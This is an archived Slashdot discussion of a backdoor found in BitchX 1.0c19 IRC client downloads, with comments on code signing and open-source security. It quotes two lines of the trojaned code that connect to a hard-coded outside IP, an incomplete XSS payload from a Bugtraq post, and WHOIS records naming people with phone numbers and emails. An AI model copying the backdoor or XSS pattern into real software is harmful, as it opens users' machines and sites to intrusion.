Slashdot Mirror


BitchX 1.0c19 IRC Client Backdoored

JRAC writes "A recent Bugtraq submission has indicated that the popular IRC client, BitchX, contains a backdoor. So far, only certain 1.0c19 files, downloaded from ftp.bitchx.com are reported to contain the malicious code. The BitchX developers have been notified, so hopefully a fix will be issued soon. Looks like irssi wasn't the only one ;)"

18 of 305 comments (clear)

  1. In other news ... by NASAKnight · · Score: 4, Funny

    Local inmates confirmed that there was a problem with people entering into BitchX's backdoor. The suspect is a large man calling himself 'big mamma.'

    --
    Fault loves the past, worry loves the future, but content enjoys the present.
  2. Most interesting... by phreak404 · · Score: 5, Interesting

    Is that when the vulnerability was first submitted they also submitted some interesting finds about the ftp server on BitchX.com serving trojaned and clean versions, depending on the originating IP, demonstrating that the server had been 0wned (more than likely).

    Sad that the developers didn't notice sooner, and it makes you wonder how many boxes have now additionally been 0wned because of this.

  3. Who's this? by Draoi · · Score: 5, Informative
    There's an interesting IP address hard-coded into the trojaned code;

    + sa.sin_port = htons (6667);
    + sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
    Doing a reverse-DNS lookup gives;
    ;; QUERY SECTION:
    ;; 17.115.77.213.in-addr.arpa, type = ANY, class = IN

    ;; ANSWER SECTION:
    17.115.77.213.in-addr.arpa. 1H IN PTR wenus.dtcomsa.com.
    .... so who are they??
    --
    Alison

    "It is a miracle that curiosity survives formal education." - Albert Einstein

    1. Re:Who's this? by zdzichu · · Score: 4, Informative

      inetnum 213.77.115.0 - 213.77.115.255
      netname DATACOM
      descr Datacom
      descr Warszawa Bemowo
      country PL
      admin-c AW7760-RIPE
      tech-c RW7118-RIPE
      status ASSIGNED PA
      mnt-by AS5617-MNT
      changed tkielb@cst.tpsa.pl 20000915
      source RIPE

      (stupidly formatted because of lamefilter)

      --
      :wq
    2. Re:Who's this? by Neil+Watson · · Score: 5, Informative
      PL is Poland.

      [nwatson@valetta ~]$whois 213.77.115.17
      % This is the RIPE Whois server.
      % The objects are in RPSL format.
      % Please visit http://www.ripe.net/rpsl for more information.
      % Rights restricted by copyright.
      % See http://www.ripe.net/ripencc/pub-services/db/copyri ght.html

      inetnum: 213.77.115.0 - 213.77.115.255
      netname: DATACOM
      descr: Datacom
      descr: Warszawa Bemowo
      country: PL
      admin-c: AW7760-RIPE
      tech-c: RW7118-RIPE
      status: ASSIGNED PA
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      route: 213.77.0.0/16
      descr: TPNET (PL)
      descr: Provider Local Registry
      origin: AS5617
      notify: konradpl@zt.piotrkow.tpsa.pl
      mnt-by: AS5617-MNT
      changed: konradpl@zt.piotrkow.tpsa.pl 20000728
      source: RIPE

      person: Arkadiusz Wrobel
      address: "DataCOM" S. A.
      address: ul Radiowa 21a m20
      address: 01 - 485 Warszawa
      address: POLAND
      phone: +48 606 298639
      fax-no: +48 22 6672495
      e-mail: awrobel@wat.waw.pl
      nic-hdl: AW7760-RIPE
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      person: Rafal Wrzosek
      address: "DataCOM" S. A.
      address: ul Kaliskiego 11a /312
      address: 01 - 485 Warszawa
      address: POLAND
      phone: +48 606 145187
      fax-no: +48 22 6672495
      e-mail: awrobel@wat.waw.pl
      nic-hdl: RW7118-RIPE
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      Yes, someone has most likely compromised the box and is using it for the backdoor. However, the owners of the box are still responsible for the lack of security that allowed their box to be compromised.

  4. ah, the good ol' days by MattW · · Score: 5, Funny

    This reminds me of the good old days, when people distributed like 20 different scripts for the irc2 client, all of which had some backdoor or another. Most of them listened for ctcp commands and would pass them directly to shell. CTCP GROK JUPE CMD ORD -- bonus points to anyone who can name all 4 scripts that had those backdoor commands. Then there were amusing tidbits like scripts that would flood anyone using the authors nick without the right hostmask. Then there was the 'Folder's Crystals' script -- it set your display to off, so you saw nothing even while you joined a channel and were saying, "I've just had all my files secretly replaced by folgers_crystals... let's see what happens!" (meanwhile, the script was executing rm -rf ~).

    Of course, back then, you could blame people for running something they didn't understand, since it was on the order of getting a whack-a-bill game by email and just running it, whereas tainted downloads aren't quite as shameful, but ah, it does bring back the memories of the Wild Days of irc...

  5. Re:XSS in Slashcode by Jester998 · · Score: 4, Interesting

    Hey... nice "copy and paste" from the BugTraq posting...
    ----- BEGIN BugTraq POST -----

    Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
    Precedence: bulk
    List-Id: <bugtraq.list-id.securityfocus.com>
    List-Post: <mailto:bugtraq@securityfocus.com>
    List-Help: <mailto:bugtraq-help@securityfocus.com>
    List-Unsu bscribe: <mailto:bugtraq-unsubscribe@securityfocus.com&g t;
    List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
    Deli vered-To: mailing list bugtraq@securityfocus.com
    Delivered-To: moderator for bugtraq@securityfocus.com
    Received: (qmail 31935 invoked from network); 2 Jul 2002 08:55:04 -0000
    Message-ID: <20020702085626.305.qmail@web21002.mail.yahoo.c om>
    Date: Tue, 2 Jul 2002 01:56:26 -0700 (PDT)
    From: gcsb <gcsbnz@yahoo.com>
    Subject: XSS in Slashcode
    To: bugtraq@securityfocus.com
    MIME-Version: 1.0
    Content-Type: text/plain; charset=us-ascii
    X-UIDL: "[K!!WR\"!nkN"!NSF"!

    There is a nasty Cross Site Scripting(XSS) vuln in
    Slashcode. This was used a day or so go on
    slashdot.org and resulted in most of the site being
    taken down for an hour or so. The maintainers of
    slashcode have patched the problem in CVS but have not
    even mentioned it anywhere that I can find. This
    leaves all sites using slash vulnerable to this
    exploit.

    An example exploit (incomplete) is as follows:

    <p &gt; onMouseOver..insert javascript here...>

    I am dissapointed that the slachcode maintainers have
    silently fixed this on slashdot.org yet made no
    mention of the problem elsewhere so that other sites
    can patch themselves. No wonder there are so many
    "trolls" on slashdot.org...ah well.

    If you run a site using slashcode, get the latest CVS.

    That is all. Move along.

    ________________________________________________ __
    Do You Yahoo!?
    Sign up for SBC Yahoo! Dial - First Month Free
    http://sbc.yahoo.com

    ----- END BugTraq POSTING -----

    You didn't even reformat the exploit code so that it showed up properly... sheesh.

    - Jester

  6. Backdoor. by ldopa1 · · Score: 4, Interesting

    Is this truly suprising? With the proliferation of "secret" functionality in everything from DVD's to Palm applications, it seems that a lot of developers take great delight in doing something "on the sly" that will get them noticed.

    While the vast majority of these "easter eggs" are completely harmless, it's only logical to assume that they present an opportunity for malicous activities. I mean, who among us doesn't have SOME "H4X0R" history? Doesn't it follow that some of that will come out when the opportunity to put in a "gift" presents itself?

    Also, this seems to me to be one of the down sides of the Open Source fight. Most of the accomplished hackers that I know are strong advocates of Open Source. It leads me to believe that most of the proponents of Open Source are or were at some time at least a script kiddie with delusions of grandeur.

    Nobody I know has the time to actually check every line of code in a 200 Meg build for one or two lines of backdoor code, especially when the application is DESIGNED to make and break connections.

    --
    The Dopester
    "Yes, I'm a Karma Whore, but I'm doing it to pay my way through school."
  7. Digitally sign your sources... by Cyclops · · Score: 5, Informative

    Many don't digitally sign their sources with a secure key, and thus there is absolutely no way to verify that those sources are the ones the developer intended to release.

    Many think that a simple md5sum alongside the sources is enough. IT IS NOT. Any attacker who replaces the sources can as easily replace the md5sum, which can be generated by anyone.

    A digital signature (I suggest using gpg) can only be generated by YOU if you keep it in a secure place, and use it to sign the sources. The public side of this key should be widely distributed and preferably signed (that is recognized) by third parties... the most trustworthy these third parties can be, the better.

    After the huge attack on the network where such sites as Apache were hosted, other Apache projects which did not sign their packages suddenly started signing them. They got scared. You should be too.

    A lot of people instinctively trust their dns resolutions (oops) and also think that if they go to http://www.mozilla.org they will get their favorite browser for sure. They are also wrong. dns can be spoofed under certain conditions, so they could be going to crackersR.us instead, and downloading a neat trojaned source, for instance.

    The more a project grows in fame, the more it will become a likely target for these kinds of attacks, so the more need to a degree of responsability that should not be needed, but it unfourtunately is since the danger is ubiquitous.

    Be carefull, be very carefull.

    Also avoid using user root period.

  8. GNU/Linux needs signed downloads by splorf · · Score: 5, Insightful
    I'm sorry but this is one thing Microsoft and/or Netscape did right. The practice of including detached PGP signatures on download sites is useless--they have to be manually verified, and hardly anyone bothers.

    GNU/Linux downloads should be in signed archives like Netscape JAR files. JAR files are basically ZIP archives with a signature file stored inside the .zip in a standard place. When you unpack the archive, the unpacker checks the signature the same way a browser checks an SSL web site.

    JAR files use a certificate chain ending in a certificate authority (usually a commercial one) but maybe the signed-download scheme could be signed against a certificate on the official developer's website. Of course that wouldn't be unspoofable, but it would be as secure as the current scheme of having a PGP public key on the developer website and signing against that. The main benefit is the checking would happen automatically, so it would be much harder to put crap into downloads. If someone makes a modified version, they would have to sign it themselves (with a signature pointing back to their own website) or else the unpacker would print a message saying the code was unsigned and the user should check it carefully before using it.

  9. Re:See, this is what's cool about OSS.. by toupsie · · Score: 5, Insightful
    If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

    Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor, modify the FTP server and set up a bizarre distribution method (has anyone figured this out yet?). Granted many eyes helped find this problem, but in a closed source world, this wouldn't happen unless you had a disgruntled employee or a really stupid project manager. If BitchX were a commercial, closed source product, the exploit would most likely be a buffer overflow, not a blatant backdoor.

    Disclaimer: I use a closed source IRC product called, Ircle.

    --
    Strange women lying in ponds distributing swords is no basis for a system of government.
  10. Re:XSS in Slashcode by jamie · · Score: 4, Informative

    This post is quite inaccurate and we will be responding, also on bugtraq, momentarily. The author of the post did not contact the Slash development team, or we could have corrected some of his misconceptions.

  11. Re:See, this is what's cool about OSS.. by torinth · · Score: 4, Insightful

    If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

    Anti-GPL people (read Microsoft and their lackies) may try and take this as a weakness in OSS, but I look at it as a strength. If one of their developers gets something like this into one of their products (either on his/her own or with the blessing of the company, the world may never know). With OSS, it's out in the open for everyone to see/fix.


    Please. It's open for everyone who has nothing better to do than read slashdot or bugtraq, maybe. What much of OSS needs but doesn't have is strict maintainers, who know what contributions are made to the product and know what they'll do before they're let in. Fortunately, some of the bigger projects have this (Linux kernel, *BSD, Mozilla), but alot of OSS today is about people being too lazy or incompetent to double check some 15-year-old hax0r's crappy-ass contribution until it's too late.

    The other thing OSS needs to enforce a little better is something along the lines of code signing. From what I can tell, it looks like somebody hijacked the bitchx FTP domain on some routes and is returning trojaned copies to the downloaders who are going through it. This is a weakness of OSS. It's much easier for me to grab a piece of Open Source software, drop some malicious code in it, and redistribute it from a hijacked domain than it is for me to do so with something I don't have the source to. Granted, it's still possible, if I inject code into the compiled version, but it's a hell of a lot easier to do it with source.

    The simplest move is to use MD5's for major releases and have some 3rd-party location to verify them. Freshmeat? Sourceforge? This, at least, could add some security, and would a central point for people to watch out for hijacking...

    Get your head out of the damned OSS-as-a-religion sand and look at what needs to be done to make it viable to people who don't fuck around reading about the next idiot to shoot himself into space in a backyard rocket.

    Meh. Enough ranting, for now.

    -Andrew

  12. Re:See, this is what's cool about OSS.. by Fizzlewhiff · · Score: 5, Insightful

    Not sure but on my non OSS operating system I run firewalls and intrusion detection software to help me catch spyware and other things which are accessing ports which I am not aware of. Since I'm not the only one who does this I would think the backdoor would be found. You don't have to see the source code to find holes if you can see the holes.

    Frankly I am quite tired of this common belief that thousands of eyes are constantly scanning OSS looking for problems to fix. In the 9 or so years I have been using Linux and GNU software I have never looked for such things. Maybe that is because I am a developer and spend enough time with my code. Even when I first started with Linux and things like CDROM and NICs required patching and compiling I was content with the code I was downloading. Hobbiests tended not to screw other hobbiests (unless money is changing hands) and I tend to still believe that. I really doubt there are that many people who police code. If you are working on something and notice a problem then you submit a patch but the belief of a huge and constant code review going on is a false one as far as I am concerned.

    With the popularity of Linux and free software however and the perceived threat to some commercial software it might be wise for OSS project leaders to be extra careful of new code that slips in. I have belived for a while that sooner or later we will see companies like Microsoft or Sun let slip some pattented code into a free software project just so they can come back later and shut it down with a lawsuit. Face it, these companies are getting hurt. A project like Mono has the potential to hurt .Net and if successful hurt Java. I would not have thought that someone would slip in a backdoor into a project however.

    Anyway, I don't think you can look at OSS or a closed source project and say one is more "secure" than the other. I think it really comes down to how it is managed and the quality of the people who are contributing. You might also want to consider they type of application.

    As far as IRC goes, this is a community where you are judged by how "bad-ass" your kick scripts are and your "l33t h4xx0r" skills. I'd be cautious of any IRC tool I used for that matter.

    --

    'Same speed C but faster'
  13. Re:Enough talk by idiot900 · · Score: 5, Funny

    deliver a Slashdot can of whoop ass.

    What would that be exactly? Sending too many visitors to their website?

  14. Put the client in a jail by Animats · · Score: 4, Insightful
    IRC clients are a good place to start on security, because they need very limited access on the client machine. So put the client in a FreeBSD jail. All it needs to talk to is its window and the net, and maybe a few specific files.

    Jailing a browser is tougher, but an IRC client should be easy. Somebody who's into IRC and security should do this as a demo.

    1. Re:Put the client in a jail by Junta · · Score: 4, Insightful

      Actually, I would say both are equally 'tough' to jail. Access to the network is pretty much the same, both tend to use particular, specific ports but circumstances can require just about anything, though IRC tends to deviate less than web browsers do from the standard ports, they still deviate.

      As far as file system access, neither *truly* require write access to the disk nor read access to nothing more than a few config files. I know, browsers tend to use disk as cache and you want to download using your browser as well, but same goes for IRC, a large portion of users exchange files through the IRC client with the intent of the transferred file not being transient. For those who want to have non-transient downloads (and ability to save configuration, both sorts of clients equally likely to require this), chroot is as far as I would go.

      Strictly speaking, all network applications have similar issues. While it may appear easy to pinpoint required operations of a piece of software, there are always enough deviations to make it not 100% possible to tighten it all down. The only place where you can really predict and jail based on those predictions what a network application needs to do and access is on the server end where you have the most control over how the network is used. Clients having to interoperate with oddball server configurations and users who want to use the software in different ways will always make the jailing you describe less feasible.

      Of course, most any app could run fine in a chrooted environment if you have the disk space for the requisite libraries, and that by itself greatly reduces (but doesn't eliminate) threats to data outside the chroot jail.

      --
      XML is like violence. If it doesn't solve the problem, use more.
  15. Look kids... by ice-man_efnet · · Score: 4, Insightful

    The developers of BitchX did *NOT* put malicious code in the source. For one thing, there were two versions of the 1.0c19 source running around. It also seems that the security on *.bitchx.org was never even compromised. The problem lies somewhere with a 'man-in-the-middle' changing some DNS aliases somehow. This is why some people were able to download the real version that was actually released, and some people got the 'hacked' copy.

    Also, even though the box doesn't appear to be compromised, it could happen. I hope one of you kids out there is the first one attacked when a new apache or ssh bug is found. You can never be completely secure, especially when you are running anonymous servers for people to download programs.

    kthx.

    ice-man@efnet.